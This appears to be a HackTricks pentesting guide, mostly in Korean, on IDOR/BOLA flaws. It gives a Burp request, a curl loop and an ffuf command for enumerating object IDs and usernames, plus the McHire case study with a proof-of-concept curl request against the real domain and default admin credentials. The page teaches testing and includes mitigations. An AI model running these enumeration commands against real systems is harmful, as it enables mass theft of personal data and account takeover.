# IDOR (Insecure Direct Object Reference) {{#include ../banners/hacktricks-training.md}} IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA)는 웹 또는 API 엔드포인트가 사용자로 제어 가능한 식별자를 노출하거나 수락하고, 그 식별자를 **직접** 사용하여 호출자가 해당 객체에 접근/수정할 권한이 있는지 **검증하지 않고** 내부 객체에 접근할 때 발생합니다. 성공적인 공격은 일반적으로 다른 사용자의 데이터를 읽거나 수정하는 등 수평적 또는 수직적 privilege-escalation을 허용하며, 최악의 경우 전체 계정 탈취(full account takeover) 또는 mass-data exfiltration로 이어질 수 있습니다. --- ## 1. 잠재적 IDOR 식별 1. 객체를 참조하는 **파라미터**를 찾습니다: * 경로: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` * 쿼리: `?id=42`, `?invoice=2024-00001` * 본문 / JSON: `{"user_id": 321, "order_id": 987}` * 헤더 / 쿠키: `X-Client-ID: 4711` 2. 데이터(**읽기** 또는 **업데이트**)를 하는 엔드포인트(`GET`, `PUT`, `PATCH`, `DELETE`)를 우선적으로 살펴보세요. 3. 식별자가 **연속적이거나 예측 가능**한 경우를 주의하세요 — 예: ID가 `64185742`라면 `64185741`도 존재할 가능성이 높습니다. 4. 숨겨진 또는 대체 흐름(예: 로그인 페이지의 *"Paradox team members"* 링크)을 탐색하여 추가 API가 노출되는지 확인하세요. 5. 권한이 낮은 **인증된 세션**을 사용하고 ID만 변경하되 **같은 토큰/쿠키를 유지**하세요. 권한 오류가 없으면 보통 IDOR의 신호입니다. ### 빠른 수동 변조 (Burp Repeater) ``` PUT /api/lead/cem-xhr HTTP/1.1 Host: www.example.com Cookie: auth=eyJhbGciOiJIUzI1NiJ9... Content-Type: application/json {"lead_id":64185741} ``` ### 자동화된 enumeration (Burp Intruder / curl loop) ```bash for id in $(seq 64185742 64185700); do curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -H "Cookie: auth=$TOKEN" \ -d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id"; done ``` ### 사용자/파일 열거를 위한 Error-response oracle When a download endpoint accepts both a username and a filename (e.g. `/view.php?username=&file=`), subtle differences in error messages often create an oracle: - 존재하지 않는 username → "User not found" - 잘못된 filename이지만 유효한 확장자 → "File does not exist" (때때로 사용 가능한 파일을 나열함) - 잘못된 확장자 → validation error With any authenticated session, you can fuzz the username parameter while holding a benign filename and filter on the "user not found" string to discover valid users: ```bash ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ -b 'PHPSESSID=' \ -w /opt/SecLists/Usernames/Names/names.txt \ -fr 'User not found' ``` 유효한 사용자 이름을 확인한 후 특정 파일을 직접 요청합니다(예: `/view.php?username=amanda&file=privacy.odt`). 이러한 패턴은 일반적으로 다른 사용자의 문서 무단 공개 및 credential leakage로 이어집니다. --- ## 2. 실제 사례 연구 – McHire Chatbot Platform (2025) Paradox.ai 기반의 **McHire** 채용 포털을 평가하는 동안 다음 IDOR이 발견되었다: * 엔드포인트: `PUT /api/lead/cem-xhr` * Authorization: 모든 레스토랑 테스트 계정에 대한 user session cookie * 요청 본문 파라미터: `{"lead_id": N}` – 8자리, **연속적인** 숫자 식별자 `lead_id`를 감소시키자 테스터는 임의의 지원자들의 **full PII**(이름, 이메일, 전화번호, 주소, 근무 선호도)와 session hijacking을 가능하게 하는 소비자 **JWT**를 획득했다. `1 – 64,185,742` 범위를 열거한 결과 대략 **64 million** 건의 레코드가 노출되었다. Proof-of-Concept 요청: ```bash curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` Combined with **기본 관리자 자격증명** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach. --- ## 3. Impact of IDOR / BOLA * 수평적 권한 상승 – **다른 사용자들의** 데이터 읽기/수정/삭제. * 수직적 권한 상승 – 권한이 낮은 사용자가 관리자 전용 기능 획득. * 식별자가 순차적일 경우 대규모 데이터 유출(예: 지원자 ID, 송장). * 토큰을 훔치거나 다른 사용자의 비밀번호를 재설정하여 계정 탈취. --- ## 4. Mitigations & Best Practices 1. **객체 수준 권한 검사(object-level authorization)**를 모든 요청에서 적용 (`user_id == session.user`). 2. 자동 증가 ID 대신 **간접적이고 추측 불가능한 식별자(indirect, unguessable identifiers)** 사용 (UUIDv4, ULID). 3. 권한 검사는 **server-side**에서 수행하고, 숨겨진 폼 필드나 UI 컨트롤에 의존하지 마세요. 4. 중앙 미들웨어에서 **RBAC / ABAC** 검사를 구현하세요. 5. ID 열거(enumeration)를 탐지하기 위해 **rate-limiting & logging**을 추가하세요. 6. 모든 새 엔드포인트에 대해 보안 테스트(단위 테스트, 통합 테스트, DAST)를 수행하세요. --- ## 5. Tooling * **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder. * **OWASP ZAP**: Auth Matrix, Forced Browse. * **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting). ## References * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) * [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) * [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) {{#include ../banners/hacktricks-training.md}}